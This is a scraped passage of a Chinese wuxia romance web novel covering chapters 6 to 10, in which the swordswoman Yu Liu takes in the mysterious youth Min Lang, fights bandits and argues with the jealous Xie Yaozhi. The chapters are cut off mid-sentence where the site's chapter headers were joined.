小郎君被迫抬起脸,却是羞得不敢看她:“就、就在城外的崇江边上。” “哦?”玉流松开手,挑着眉梢,来了点兴致。 粗看时觉着他年纪应该不大,浑身青涩劲儿,这时细看,眉眼风凌,因为被她掐过,眼里盛了浅浅一汪湖水。身量颀长,长着一副好皮相,好似风中独秀的芍药,看久了甚至生出几分故人之姿的模样。 这两者杂糅在一起,像是揠苗助长的禾稻,让她有种说不出的怪。 玉流挫着手指,这小郎君细皮嫩肉的,居然是崇江边上的人。崇江边上都是些摆渡打渔的渔民,这位怎么看都不是吃苦的主儿,玉流在心里发笑。 不过这骨头嘛,倒是硬得很,硌得她手疼。 “叫什么名字?” “无、无姓,单名一个敏。” “敏?” 玉流又问:“几岁了。” “十八。” 十八?好年纪。她去京城那年也是十八。 玉流盯着他澄澈的眼睛看了会儿,嘴角一弯,允了:“那你留下吧。” 地上的人儿眼睛当即亮了,身后似乎有一条毛绒绒的尾巴跃跃欲摇,微微晃了两下又耷拉下去,他有些犹豫:“那我是不是要和大人,啊,这——” 杨淮月一巴掌捂住敏郎的嘴巴,这孩子,都不知道是说他单纯,还是说他愚蠢。她替他道:“多谢大人。” 敏郎这么一闹,玉流是彻底醒了。杨淮月一拍手:“大人饿了吗,不如我给大人做点夜食?就是乡野的粗茶淡饭,大人莫要嫌弃。” 玉流的确饿了,也不推脱:“那就劳烦夫人了。” “小事,敏郎,好些了吗,好些了同我一道去。” “好、好。”敏郎撑着地爬起来,低着头跟着杨淮月走了。 这两位走了,柳吾善抬手:“玉大人同我到后院等着?” “自然。” 说是后院,也不过是院 6. 玉公子 《师妹她一心杀我》全本免费阅读 才入阁,遥遥的,便听见不远处一道声:“呦,这不是咱们的天下第一,啊,现在已经是第二了耶。” 玉流眉心一皱,手里的剑出鞘,剑风凛然,直直朝那人刺去。 “啪——”玉扇一开,融了不死金的铁扇子险险夹住剑刃。再过半寸,这扇子就废了。 “哎呦,我说祖宗们,我才刚修好。” 玉流收回剑,任凭这锦衣公子心疼地长吁短叹:“谢遥知,犯贱的时候先想一想是不是我的对手。” 玉流今日起了大早,带着她的,唔,算是小仆,赶赴逍遥阁。 逍遥阁盘踞着崇州城西面最平坦的一处山脉,不是一座阁楼,而是由山中无数阁楼组成。这些阁楼不知何时建起,她只知道自她记事起,便有了这处给天下排名的逍遥阁。阁主也不知换了多少任,玉流这一辈是慕容鸠,常年隐于阁中,不问世事,消息却灵通得很。 而这位谢遥知,面如冠玉,一把融金铁扇走江湖,人称玉扇公子,和慕容鸠关系不错。此人武功不咋地,堪堪防身,嘴巴倒是溜得很,现为逍遥阁的混子。但他本人否认,坚信自己是慕容鸠请来的说客,主要对付玉流这样在乎声名,又胡搅蛮缠的狠人。 谢遥知脸皮厚极了,自觉略过那几个不好的字眼:“我自然是很想你的呀,还有,啊啊啊啊,我这扇面怎么有血,我的,不可能啊,你又不会真的狠心伤了我,玉流,难道是你的?” “剑上留了血沫,没擦干净。” 谢遥知充耳不闻:“啊啊啊啊,你伤口裂了?” 玉流云淡风轻至极:“别叫了,来的路上杀了人而已。” 一路来顺得很,只是入山门的时候遇到了两个不长眼睛的匪徒。 玉流离府本不想带敏郎,逍遥阁远,她要骑马,谁知这小郎君说他也会,不会给玉流拖后腿,甚至还知晓一条远离城里的小道。望着他期盼的眼神,想来她在崇州的踪迹也逃不过柳吾善的眼睛,便同意了。 和敏郎策马而来的路上,细长的丝线拦在路中,玉流眼尖,这种小把戏可上不了台面,勒紧缰绳停下。敏郎就不行了,马儿被绊倒,他摔了出去。 人在地上滚了滚,狼狈地起身,跑去扶起马儿:“大人对不起。” “不用对不起,”玉流翻身下马,扬声道,“两位,出来吧。” 山坡上走下一胖一瘦的刀客,阴笑几声:“玉姑娘,好能耐。” 玉流皮笑肉不笑:“不比两位,敢拦我。” “师出何门?” “无门无派。” “想要什么?” “想要……”两人的贼眉对上鼠眼,默契地笑出声,“哈哈哈哈哈哈自然是姑娘的命。” 玉流没生气,也淡淡地笑了:“不错,我很久没遇上这么赶着来送死的蠢货了。” 宋繁声不至于是江湖人心中的白明月,玉流却是实打实的黑罂粟。当年她换了宋繁声的榜首之位,有太多人不服,半个月便收到了上百封战书。 玉流花了很长的时间废了这群接二连三送死的人,坐稳了第一的位置也坐实了恶女的名号,以致于后来入京,都再没能遇上这样的人,她还可惜了很久,没想到,今日倒是遇上了。 还是崇州这地方,得她的心。 “敏郎,跟着我的马到一边等着,别挡道。” “好,大人小心。”敏郎不敢耽搁,牵着自己那匹马跟着躲到路边。 这一说,胖子也注意到了敏郎。油腻的眼珠子黏在他身上,尖着嗓子:“呦,这是玉姑娘的新相好,还是你在京城也养了面首?” “呵,”玉流真是服了,“你看上他了?” 胖子还欲出声,被瘦子拦下,低头耳语一番,胖子脸色变了变:“不能动?” “当然不能动,崇州小百姓,太守府的人,两位知道江湖规矩的吧。”玉流已经拿出了剑。 “自然,江湖人,懂规矩。姑娘,让我们哥俩也见识见识大殷第一女侯官的本事!” 说罢,兄弟二人提刀结伴而来,呈左右包抄之势,两柄大刀如狂风劈砍。 敏郎在一旁观战,似乎颇为担忧,眼睛一刻也没离开过执剑的女子身上。 玉流自个儿淡定地很,半步未动。吃了山道的亏,她这次可有准备多了。 眼见两刀下,玉流侧身躲过,几个来回之后,玉流没有得到半点好处,衣角还被划破了几道,让这刀客兄弟越发得意。 “玉姑娘也不过如此,还不如废了剑给老子当个看门的娘们哈哈哈哈哈哈。” “阿哥说得是,”瘦子捧着胖子,阿谀,“长得不错,就该被人睡啊,要不,阿哥我们,啊,哈哈哈哈哈哈。” “阿弟想,阿哥自然会给,但首先,我们得生擒了这娘们。” 这番龌龊之言没引得玉流发怒,敏郎站在阴影处垂着头也看不出什么神色。倒是他带来的马嘶嘶长鸣,山间似有异响。 阿哥阿弟再次提刀而来,杀意更甚,玉流冷笑,衣袂纷飞,剑锋划过胖子的手腕,长剑在手里转了个花,玉流脚步一动,化了这胖子的招数。反手剑柄又敲在瘦子的手肘,落处皆是穴脉,震得他们的手直打哆嗦。 胖子捂住手腕,大骂:“好你个玉流,竟然用这种阴招!” 玉流不在乎:“既然说了我是女侯官,不用点阴招怎么配得上这名号?” “啊啊啊啊啊啊,”胖子气得大吼,蓄力朝着玉流扑来,“看刀,阿弟,来——” 一打二她不是没打过,她只是赶时间。 玉流引剑,踢起地上的粗断木,起剑,落剑,木屑如飞针刺向瘦子。 瘦子大惊:“一剑飞花。” 他可来不了了,拿刀抵御这杀招。 玉流身后得了空,转身提气,足尖点于树之间。这胖子脚步太沉,只有蛮力,先杀了他。玉流这一招须臾便耍得这胖子大喘气。 “混账,死娘们,给我下来,下来。” “这可是你说的。” “噗嗤——”眼尾一道残影后,他低头,看着没入心口的长剑拔出,溅出一股的血。 捂住喷涌的伤,胖子踉跄倒地,扭动着半死不活的身子,气血翻涌,又吐出一大口的血。 还好玉流退了几步,没溅到她的鞋面上。 胖子气息已经快没了,眼珠瞪得老大,是不可置信:“你,你,你——” 临终遗言用来说这个,真是不划算呐。 解决了这一个,还有一个。 她回身,瘦的那个刚破了一剑飞花,身上被划拉了好几道口子,见阿哥死在玉流剑下,心知自己不是她的对手。识时务者为俊杰,好死不如赖活着,抖着腿想跑。 敏郎不知何时走了出来,瘦子脑子一动,抓起大刀就抵在比他还高的敏郎脖颈间,有些滑稽。瘦子狰狞着那张丑脸,紧紧抓住敏郎的肩膀。 小郎君满脸惊慌,一时僵了身子。 玉 7. 读半边 《师妹她一心杀我》全本免费阅读 “你确定?” “不确定。” “那你让我见慕容鸠。” “哎你急什么!” 这山中除了阁楼就是各种花圃和亭子,谢遥知找了一处僻静之地,给玉流倒了杯清茶:“玉流,你怎么会输给他?”他就爱哪壶不开提哪壶。 玉流哼声:“怎么,你不知道?” 谢遥知微微笑,跟笑面狐一样:“知道是知道,但是从当事人这里知道,不是会更好吗?” “呵呵。”玉流喝了一口茶,长话短说了。 谢遥知当听话本:“嘶,你这——玉流,你对他感兴趣了。”所以才会如此轻易地中了计。 玉流:“那又如何?” “是不如何,只是啊,我说玉流,你师父要是知道你们师兄妹这第一就没拿个几年,不会被气得出关了吧。” 玉流眼神冷了:“闭嘴。” 谢遥知感叹,继续说风凉话:“那无涯贼首,还真是有点本事,不知是不是你师父的对手?” 玉流不说话,望向巍峨的群山深处。师父早已不问红尘,根本不会出山,更不会在意这天下第一落在谁身上。 天下第一,无涯贼首……她又想起了他的嚣张之语。 玉流放下瓷杯,目光从远山移开,沉声道:“我问你,宋繁声,真的死了吗?” 谢遥知心中惊异:“你问这个做什么?” 玉流敲着桌面:“他自称‘无涯贼首’。还……赢了我。”这世上,玉流不信除了他之外还有第二个人。 无涯吗,谢遥知也放下瓷杯,注视着杯中青绿的茶面。转脸,不太在乎地反问:“不是你和我说的吗?” “胡说,难道不是——”玉流眼神一变,闭嘴不语。 不是谢遥知说的,不是任何人说的,是剑榜换了。 她离开无涯山不久,死钟响起,消息传出,她成了第一,而宋繁声不是第二,他被除了名。 出现这样的变化,要么和师父一样退隐,要么是他死了。宋繁声不可能退隐,所以,他只能是死了。 彼时玉流就在此处,亲眼见着慕容鸠握着宋繁声的剑归来。 人在剑在,这是剑客之本。佩剑落入他人之手,就是委婉地告诉世人剑客已死。 思绪回到此时,谢遥知:“阿鸠不会骗人。” “我知道。”玉流喝下清茶,抚平胸口的燥热,她大概是多虑了。 正巧这时侍女步履轻盈,搅了这一处的寂静:“玉姑娘,这位小郎君来找您。” 敏郎是个面生的,自个儿主动在逍遥阁入口登记了姓名,进来后又去给两匹马找了个好去处,才在侍女的带领下走到他们身边。 小郎君,什么郎君,谁的郎君!对此事异常敏感的谢遥知眯眼一觑,又在玉流冷漠的脸上转了好几眼:“他是谁?” “柳太守给我的小仆。”玉流倒了杯茶递给敏郎,没听出谢遥知显然变了的调子,也没看出狐狸已经炸毛。 “啊呸,你的,什么你的,你的什么!” “难道你强抢良家妇男了?” “我看看,还是个年幼的!” “玉流,你居然好这一口。” “你为何不抢我?” “我比他差吗!” “不就是比他看着老个几岁嘛,我可以去敷粉,去绞面!” 谢遥知丢了玉扇开始跳脚,侍女捂嘴在一旁偷笑。 一连串口不择言的话从谢遥知嘴里蹦出来,玉流额头的青筋狠狠跳了几下,扣住桌子的下沿,用力,忍着一掌拍上去的冲动。 敏郎被吓坏了,躲在玉流身后:“啊,这位公子,看起来有点疯。” 什么疯,他就是贱。 玉流:“谢遥知,病了就去医馆,别在我面前发病。” 她懒得管犯了疯病的人,抬步走到侍女面前,她对这位有点印象:“紫衣姑娘可否带这位小郎君去处理一下伤口?” 敏郎的伤已经结痂,碍事是不碍事,就是看着有失美感,如同芍药花茎断裂。反正都到了逍遥阁,蹭点金贵的仙药又不亏,免得说她苛待手下。 突然被点到名字的敏郎惊讶抬头,眼里藏着毫不掩饰的欢喜:“大人?” 玉流当做没看见:“嗯。” 紫衣眼睛转了转,也不多看这两人,含笑颔首:“难得玉姑娘还记得紫衣,紫衣自然要给姑娘个人情,这位小郎君请跟我来。还有,玉姑娘,阁主在谷雨楼等您。” 谷雨楼?玉流点点头:“多谢。” 她转了半身,走出这片花亭,走上悬空的木桥,走入半山。 飞瀑之下,四溅的流水背面,秀丽的竹楼若隐若现。 “玉姑娘,请。” 守门的小书童为她开了门,玉流走进来,楼中凉得如放了满屋的冰。 玉流轻啧:“你倒是会享受。” 如薄玉的纱帘之后,脱俗出尘的青年放下手中的闲书。有贵客来,自当迎接。 他起身,散落的乌发里掺杂着不少白发,一身如玉华衣配着浅紫的玉佩,一路走来,玉声清脆。 这位曾经的少年阁主,如今也有了上一任阁主的半分神韵,神仙的疯子韵味。 “慕容鸠,一年不见,你头发又白了。” “日夜多思之症结罢了。” “那就是活该了。” 慕容鸠知道玉流有怨气,不介意她的冷语。 “难得回来,不先去看望尊者吗?” “他这时候,未必想见我。” “也是,”慕容鸠停在她身侧,“你找我,要什么?” “你不会告诉我关于无涯贼首的事吧。” “我知道的不多。” “行,我信了,”玉流也不跟他装,伸手便要,“崇州百姓详册。” “你,要查敏郎。” “你给不给。” 背阴的山面适合养书,当然,不是凤毛麟角的古籍和现世罕见的孤本,而是慕容鸠自己编的书。这人在山里呆疯了,学什么写书人说书人,得了空就编些传奇话本,还落款山中客。 玉流这半年来在那群小侯官床铺里就不知道收缴了多少山中客的本子。 简直误人子弟! 对着满墙的书册,慕容鸠在格子里按下详册的方位和编号,不知布了什么精妙机关的书架动了动,玉流要的书便顺着中空的竹子滑落下来,落在慕容鸠手边。 递给她之前,慕容鸠道:“不去问包打听吗?” “包打听哪有你快。” 慕容鸠点头说是:“给。” 玉流不客气,接过便拿食指指腹抵着书脊,看着刻下的书号,再拿拇指抵住书页,翻了翻,又闻了闻,确实是陈年的旧书,不像是慕容鸠一两日做出来骗她的。 翻至书录,一目十行。敏郎说他十八,那就是成武元年,偏差也左右不过这两年。玉流翻到元年那页,崇州新生子,不是,不是,不是……找到了。 “敏郎,崇州崇江深水村人,父母不详,于成武元年坐于木盆,顺水而下……” 居然算是孤儿,玉流嘴角抽动:“慕容鸠,你编得倒是有鼻子有眼的。” “玉流觉得是假的?” “难道不是吗?” 这种记录,随便找个人替上去就是神不知鬼不觉,她怎么知道此敏郎是彼敏郎。更何况,玉流道:“他那细嫩的小身板,像是在山水中长大的吗?” 慕容鸠抬眸:“你对他上手了?” “不行吗?” “我是说你小心些,现在的小郎君都有心气,在意清白。” 玉流怀疑地看向慕容鸠:“……你认真的。” 慕容鸠:“你下次问问呢。” “哈哈,”玉流面无表情地笑了几声,“别岔开话题。” 慕容鸠失笑:“你就当他的体质好,或者,他的亲人把他养得很好。” 玉流和慕容鸠这种熟知天下事的半仙打交道,向来吃力不讨好。但,玉流提醒他:“你可不是会干涉朝廷之事的人。” 慕容鸠收起了笑,轻叹:“玉流,你我相知多年,你该清楚,我不会伤害你。他来到太守府的原因是真的,这位小郎君,是个可怜人。” 既然如此,玉流直接挑明了她心中的猜测:“他是你的人。” 她甚至懒得用问句。 “是。” “你不问问我怎么看出来的?” “你怎么看出来的。” “慕容鸠,你可真无趣。” 玉流找了把藤椅坐下,翘着二郎腿 8. 扯头花 《师妹她一心杀我》全本免费阅读 “你是在挑衅我吗?” 谢遥知也不要玉扇了,直接上手揪住敏郎的衣襟:“谁派你来的,接近玉流有什么目的,说!” 敏郎身后是墙,他退不得,后背撞上去,沉闷的一声。谢遥知不留情,用力擒着他,敏郎脚跟离地,被迫仰着面:“我、我是崇州人,柳太守收留我,让、让我来伺候大人。” 一双无辜至极的眼睛,一张纯善至极的脸庞,谢遥知若是女子都快信了,冷哼几声:“胡说八道,玉流什么人,要你这样来路不明的小郎君伺候?” 谢遥知攥紧的力气大了些,勒着喉咙。脖颈间传来隐隐的刺痛,敏郎知道那道伤口又快要裂开了。 出血会很麻烦,他有些烦,不仅脸白了几分,呼吸的不畅更让他着急起来:“咳咳,我只是个崇江边跟爷爷相依为命的小百姓,公子为何要这般诋毁我?” 诋毁你?谢遥知气笑了:“你居然还敢倒打一耙?” 什么读半边的敏郎,什么勾人的故人长相,分明就是有备而来! 敏郎还在竭力地吸气,混沌的脑子让他猜不透谢遥知的敌意从何而来,而这要他命的姿势却让他想起了昨夜的玉流。或许也是他犯错了,他想了想,自省道:“是、是因为我可以进大人的屋吗?” “什、么!你还敢进她的屋!” 一句一句的雷蹦出来,谢遥知要气炸了,这不要脸的狗东西,到底对玉流做了什么!谢遥知不知玉流留着他的用意,不过,她既然不杀,他来!空着的手别在扇柄处,他的这把融金铁扇可不是只用来保命的。 玉公子泄了几分实打实的狠,谢遥知低声威胁道:“我和玉流年少相识,算是青梅竹马,我杀了你,她定不会怪罪于我。” “啊?”死到临头了敏郎似乎还没发觉,他只抓到了关键的字眼,摇着脑袋开始消化谢遥知的话,消化完了眼睛一亮,“谢公子既然和大人少年时就认识,能不能告诉我大人的喜好?我既然要伺候大人,就要好好,啊——” “你闭嘴啊!”谢遥知喉头一哽,用力一推,将敏郎的后脑重重地撞上墙,手动掐了令他生气的话语。 真不要脸,还敢用这种话来嘲讽他,谢遥知说得咬牙切齿:“再不从实招来,我现在就杀了你!”说罢,玉扇一抵。 等敏郎察觉不对,冰冷的刀尖已经戳破布料,抵达腹部。生死大过天,他的呼吸急促,白了的脸庞也激出几分红:“等等,呼,呼,我有,我有。” 谢遥知暂时停下了杀人的动作:“你说。” 敏郎喘了会儿,嘴角微微笑了笑,一直垂着的潋滟眼尾扬起:“我的目的谢公子不知吗?” 谢遥知危险地眯起了眼:“你什么意思?” 这面墙的周围只有他们,敏郎直直地看着他,眸子不颤了,眼神也变了,轻柔的少年音都没了:“我知公子的目的,真正的目的。” 谢遥知被他这冷寂的一眼震得松开了手,莫名的胆寒让他僵硬地站在原地,喑哑地反驳:“你,你别乱说——哪里来的疯子!” 敏郎得救了,脱力地靠在墙上,碎发散落,遮了半张脸。他伸手捂着伤,嘶,真的破了。 他垂着头,缓缓动了动脖子:“我的目的,和公子是一样的。公子杀我不就是想要大人吗?” 敏郎变回了澄净的声音,仿佛刚才不自然的一切都是路过的风带来的一瞬错觉。 摸着被扯皱的衣襟,抚平,撩起头发,抬头,恢复了清澈眼眸的敏郎极为认真地望向谢遥知:“可是,谢公子,我既然成了大人的人,你杀了我我也是她的鬼。” 像是诚挚的见解,他笑颜真诚,道:“谢公子,人是斗不过鬼的。” 谢遥知心头那点无名的忧虑又被敏郎的话踢了出去,张嘴就回:“你做——”梦。 没能说完的话提点了谢遥知,真像是做梦。 到底年长几岁,走南闯北多年,见过的贱人比杀过人的人都多。 他冷静了下来。 这小郎君装着一副纯稚的模样,心眼子不知道黑到哪里去。以前肯定没有,怕不是玉流当侯官的这一年里惹出了什么祸事,她过去那点微末的风流韵事现在被人利用上了。 那这会装的小郎君又何必向他说这些不清不楚的话?谢遥知冷眼审视着敏郎,是因为他先前发的疯?是怕他搅局,所以故意来刺激他? 难道玉流惹出的是什么桃花情债! 哼,愚蠢,居然妄想用这种手段欺哄玉流,真够愚蠢的。 分析完情势,谢遥知幽幽一笑,笑敏郎的天真:“你才认识玉流多久,又了解玉流多少?还真把自己当盘菜了。” 他打开玉扇,斜眼瞅着,讽刺敏郎的异想天开:“你以为她会看上你,她分明是把你当替身,死人的替身。现在你能笑着留下来,迟早有你哭的一天。她什么时候嫌你烦了,一脚就能踹走你。” 敏郎看向他:“替身吗?” 谢遥知冷笑:“不然呢!” 替身,当谁的替身,自然是宋繁声的替身。早就该死透的人竟然还阴魂不散。 宋繁声宋繁声宋繁声,这小郎君不知道从哪里学来的话术,和宋繁声压他一头的气劲相去甚远,令人生厌的本事倒是一模一样。 从前他就被这个姓宋的拿捏,如今来了个有他几分影子在的替身也想如此,休想! 谢遥知双眼发狠,骤然,他眸中一颤,死死地盯着眼前的敏郎。 时隔多年,他差点都忘干净了,玉流没见过宋繁声的真面目,他可是见过的。刚才敏郎的那一眼,很像,真的很像。 传闻宋繁声是无涯山坠亡,但根本无人见过他的尸首,甚至连慕容鸠都从未亲口言说宋繁声已死。 生不见人死不见尸,如果他不认识玉流的话,也会猜测宋繁声是否还活着,可是他和玉流太过相熟,知道宋繁声之死就是玉流的手笔。毕竟这世上没有人比玉流更恨他,也没有人比玉流更能杀了他。但她之前的问话,是假装,还是真的不确定? 难道宋繁声没死?可他若是还活着,想找他的人有那么多,怎么可能不被发现? 是诈尸了? 那就是半死不活,他有这运气? 不对,无涯山那地方,阴邪得很,而且玉流也不会手软。 退一万步,就算玉流真的失了手,宋繁声真的能护着一口气从无涯山活下来,尊者会不知道?慕容鸠会不知道? 更别说他那样清高傲气的人怎么可能甘心改头换面变成此人的这副模样。 恶心得让人恨不得立刻杀了他。 难不成,借尸还魂? 这个念头从谢遥知的脑中闪过,吓得他整个人从内到外地抖了抖。 不可能,绝对不可能。 这种逆反天罡的诡事,怎么也轮不到宋繁声那种人,就算轮得到,有人也能测得到。 一句话,宋繁声绝无可能还活着。 敏郎,不过是个别有用心的替身罢了,玉流只是心血来潮玩玩,她若是真的上了心,会醒悟过来,然后像对待宋繁声一样杀了他。敏郎,成不了气候。 谢遥知沉浸在自己的思绪里,好不容易才熄火,却被敏郎的下一句成功复燃。 敏郎好像听说过那么几道传闻,点点头,认同了自己的处境:“我能当替身留在她身边,那你呢?” 无辜的人似乎总是有意无意地说些伤人的话。 谢遥知狞着脸,克制着那点暴怒的火苗:“你说什么?” 敏郎眨眼,呆呆样:“什么什么?” 谢遥知平生最烦这种装的人,给你脸了?他的逆鳞被激怒:“刚才的话,你有种再给我说一遍!” “哦,你说刚才,谢公子年纪大了耳背了,我是说,”敏郎设身处地地为对方着想,他走近,微微弯唇,在谢遥知的耳边一字一字道,“大人、要、我。” 他不说还好,一说让谢遥知堵在心头的怒气彻底爆发,伸手揪住敏郎的脸:“啊啊啊啊啊啊混账,你这个不知死活的小白脸,我要毁了你的这张脸!” 敏 9. 让他装 《师妹她一心杀我》全本免费阅读 “大人,大人,我、我……”听见玉流的声音,敏郎睁开眼,趁着谢遥知说话的工夫,咬牙抽出手抵在他胸前,急急地朝她望去,微红的眼中带着怯,带着恼。 “我什么我,你给我闭嘴!”谢遥知才不管玉流看没看见,他清楚得很,玉流不会对他动手。回完玉流,定眼一看发觉让敏郎得了手,恶狠狠地对着他吼,吼完扒开他的手又开始抓他。 他抓,他拦,他挠,他挡。 这场面不仅没止住,反而往更加离奇的方向走了。 两双差了一个色度的手相互游走,指甲划过肌肤,留下道道红印子。 不过不论这两人怎么闹,玉流都没停下。 她还在走,脚步很轻,气息很淡,神情自若,甚至仔细看,嘴角漾着一丝若有若无的笑,但若是诸几和章囚在的话,就知道她已经有些生气了。于她自己,是泰山崩于前而色不变,于他人,是泰山崩。 玉流停在谢遥知身后,相当平静:“谢遥知,起来,然后,让开。” 谢遥知:“不。” “不?”玉流笑了声,俯身,靠在他耳边,微微偏头,提着嗓子又说了声,“不?” “不”的余声在山间回荡,从耳朵穿过耳朵,四周似乎突然静了一瞬。站在露台上的慕容鸠放下纸笔,查看了眼天色,转身回屋。躲在角落围观的侍女忙碌了起来,撩头发的撩头发,提裙摆的提裙摆,纷纷作鸟兽状四散。 终于,这道回声穿进了谢遥知的脑子里,一顿一顿地松开五指,放开敏郎,整个人异常生硬地站起来,站到一边。他摸着自己裂开的衣服,开始装作很忙的样子,做着无针无线的针线活,心头纷杂的思绪乱窜。 好啊,他算是明白过来了,他就说敏郎刚才崴脚的时机怎么那么凑巧,合着就是演给玉流看的啊。 他以为玉流不吃这种勾心斗角的小把戏,她居然真的吃? 可恶至极! 不行,他得补救。 “我刚才——” “你住嘴。” 玉流没眼瞎,敏郎的反击她看见了,谢遥知压着敏郎打她也看见了,他们都看见了。她根本不想理他,拉起完全不知谢遥知为什么止戈的呆呆小郎君,给他拂去满身的灰土。拂着拂着,那碎掉的衣衫整片掉下来,她的手几乎就贴上了他的后背。 偏冷的手心和偏热的脊背触了触,敏郎浑身都抖了抖,脚步小小地挪了一下,躲开了玉流。 玉流看着悬在半空的手,又看着身边敏郎漫过脖颈的红色,自然地收回来,拨去指间沾上的土屑,回头道:“哪位姑娘姐姐给我的小仆找身衣衫来?” 紫衣立马探头,答:“玉姑娘稍等。” 望着紫衣一溜烟地消失在山路间,装作很忙的谢遥知不干了。不是,他也衣不蔽体的好吗,就没有人问问他吗! 谢遥知不甘心被忽视:“紫衣,我也要!” 走进了裁衣楼的紫衣可不敢应,念着都是逍遥阁的人捎上了他。她翻着柜子找这两位能穿的,谢遥知她是知道的,那位面生的小郎君嘛,紫衣翻找的动作停了停,弯腰打开最下层的柜子…… 到底是逍遥阁最能干的侍女,动作很快,她拿来两套新衣:“那,两位随我来?” 谢遥知当即抬步跟上。 敏郎却先看她。 玉流点头:“跟着去吧。” 敏郎这才放心走去,他的步子大了些,发间穿插的山茶受不住,落下来,就落在玉流的鞋边。 她捡起来,盛开的红山茶堪比她的手掌大小。她捏着花梗转着断花,不知在想什么。 “……玉流,玉流,玉——” “我没聋。” 玉流抬眸,打断先换好衣服的谢遥知的鬼叫。 谢遥知跟个人模人样的狐狸似的凑过来,极其认真:“你得赶走他!赶、走、他!” “为什么?” “为什么?他、他、他一个祸水,又有几分像……”谢遥知像是被掐住了喉咙,生生断了后面的话。 “像什么?”玉流整个人都是冷的,冷冷瞥他,冷冷开口,眉梢似有一层霜寒,“你闹够了没?” “闹?”谢遥知哽住。 他被敏郎戳中了心事,心里又一直住着鬼,这才失了分寸。可他偏偏不能把敏郎的那些话说出来,否则以玉流的性子,可能连他一起怀疑一起调查,这样不行。 敏郎是要查,他亲自去查。不仅因为玉流,还因为他似乎知晓些自己的隐秘,所以才敢如此放肆又安心地挑衅他。 谢遥知不太高兴,说到底,还是因为他没有质问的资格。他换了一口气,上一条路不通,他就换一条:“你为他吼我?我哪里闹了,怎么就闹了,他在装,他是故意的,你看不出来吗,你现在是在怪我吗?你怎么能怪我呢?难道不是——” “不是谢公子的错,是、是我的错。我不该说些奇怪的话。”敏郎换好了衣衫走出来,勇敢地接上了谢遥知的话,就是越说底气越不足。 紫衣给他的衣衫是绀宇的,蓝偏深,绣着金黑边,是逍遥阁过去的,如今不知道被慕容鸠藏到哪儿的暗卫的制服。不说别的,紫衣眼光不错,衣服和敏郎,很配。 只是在那张不输女子的容颜下,他那身自卑的柔弱,到底要装到什么时候? 玉流在心里笑,行,他要装,让他装,她奉陪。 敏郎走下楼,走到玉流身前,折腾了太久,露在外头的下巴和脖颈间都是指甲的红痕,那道包扎好的伤口也重新裂开,白纱上渗出红丝线。 玉流转着手中的花,不再和谢遥知一问一答这些无意义的事情,提起难得的关心语气,问他:“疼不疼。” 敏郎摸着白纱,强迫自己无视谢遥知想要吃人的视线:“还好。” “不委屈?” 敏郎摇头,发觉不对,点头,还是觉得不对,于是说:“不、不委屈。” “那就好,”玉流随手把山茶搭在他的耳边,“别着吧。” 似乎与芍药比,这种开到艳烈凋零都是整株花的山茶更为适合。 敏郎被这突如其来的亲近吓得完全不敢动,好不容易褪去的粉色又从被她触碰过的耳尖蔓延至半张脸。 谢遥知看得气急了:“真装!” “你怎么不问我疼不疼!我委不委屈!”谢遥知捧着从地上捡起来的头发堆放到玉流眼前,用他刚拧了自己大腿一把而疼出眼泪的双眼望着她,“你看我,你看我的头发,地上都一大把一大把的。” 声儿太大了,吵得玉流脑子疼,遂了他的愿:“你怎么样了,我看你好的很。” 前一句是敷衍,后一句是偏心,谢遥知一肚子的话被堵在喉咙里。他当然疼,这个祸水狗崽子坏心眼,锋利的爪子抓的都是他的后背,大庭广众又不能脱下来给玉流看,气死他也。 谢遥知恨恨地嗯了声,不说了。 玉流当做听不见:“敏郎,走了。” “啊,好。” “走走走,反正你向来都是走……不行,我也要走,”谢遥知转头就反悔,厚着脸皮跟上,潇洒得很,“崇州太守府我还没进去过,我要去看看。” “随便你。” 谢遥知疯归疯,闹归闹,出了门还是要有玉公子的样子,调理了一会儿气息就变了回去。 狭长的山道上,三匹马走得慢,两匹在前,一匹在后。 “玉流!”叫人的时候气势强得很,问的话却是很小声,生怕旁人听见,“你留下他到底要做什么?” “什么什么?” 谢遥知拿扇子指后面的跟屁虫。 玉流偏头,余光中的敏郎骑着他的马儿乖乖跟着。那朵山茶被他收了起来,别在腰带中。 “哦,”玉流笑着,半真半假道,“当个脑子慢半拍的小磕巴弟弟。” “慢半拍?”谢遥知嫌弃得很,“就他?你真不怕他会害了你?” “我心里有数,所以你给我收敛点,”玉流笑意不减,“如果他敢,我会先杀了他。” 这一句进了心里,谢遥知听懂了玉流的暗示,似笑非笑地看了敏郎一眼,策马朝前头去了。 未至正午,烈日高悬,艳阳光从遮天的绿树间漏下。斑斑点点的路上,山陡路窄,无人与他们同行。 路上太安静,除了马蹄声,也就是山侧骤然掠起的一群飞鸟。 闻声,玉流手中一紧,勒住了缰绳。 “谢遥知,停下。” “什么?” 玉流没解释,一个歪头,多年的默契,谢遥知挑眉,翻身荡在马腹下。 下一刻,玉流脚踩马镫,跳起,足尖点在谢遥知的马背上,抽剑。 “叮——”从山中跃出的黑衣剑客飞身袭来,被玉流挡开。 不知是因为玉流没提醒,还是反应太慢,敏郎仍旧骑在马上,不知所措。 周围是凌厉的剑风围击,似乎是有心的,他被环在中间。剑影狠厉,别说是人,马儿早就撑不住了,沉重的呼吸中,马蹄交替,敏郎抱着它,努力安抚它不要崩溃。 玉流也察觉到了马儿的不安,此处 10. 共骑马 《师妹她一心杀我》全本免费阅读 谢遥知怎么都不会想到玉流叫他过来是让他来当苦力的。 玉流:“我胳膊有伤,你把他放到我的马儿背上。” 谢遥知:“你的小仆呢!” 玉流:“他太柔弱了,不行。” 敏郎犹豫着插话:“大人,我可以的。” 玉流:“你闭嘴。” 谢遥知昂首挺胸:“我可是玉公子,我不柔弱吗!” 玉流掏了下耳朵:“那我自己来。” 谢遥知一噎,急急忙忙道:“你别动。” 好歹是多年的交情,谢遥知此刻却完全不明白玉流的意思。说是信任他吧,他没感觉到。说是报复他吧,她替个小郎君报复什么。思前想后没能想出个所以然来,又怕坏了玉流的主意,只能咬着牙答应:“我抬,我抬!” 玉流随即招来她的马,顺便道:“哦,还有断臂。” 谢遥知很不情愿地卷起了袖子。路过敏郎的时候却故意荡着笑,还咳嗽了一声。意思是听听,我和玉流多熟的关系,再看你,一边凉快去吧。 断臂被卡进剑客的胸口,连人带臂一起被谢遥知放到了白马背上。他动作小心,尽量避开外头未干的血迹,失败。血的腥味也是无孔不入,渗透进了衣衫的丝线里。谢遥知放下人,嗅了嗅,立马拿出扇子给自己扇风。 与此同时,灰土与黑血也一同被带到了如雪的马背上。玉流吹了声口哨,摸着马儿的脸:“将就一下,回去给你把血迹擦干净。” 马儿哼唧一声,配合地蹭了蹭玉流的手,安分了。 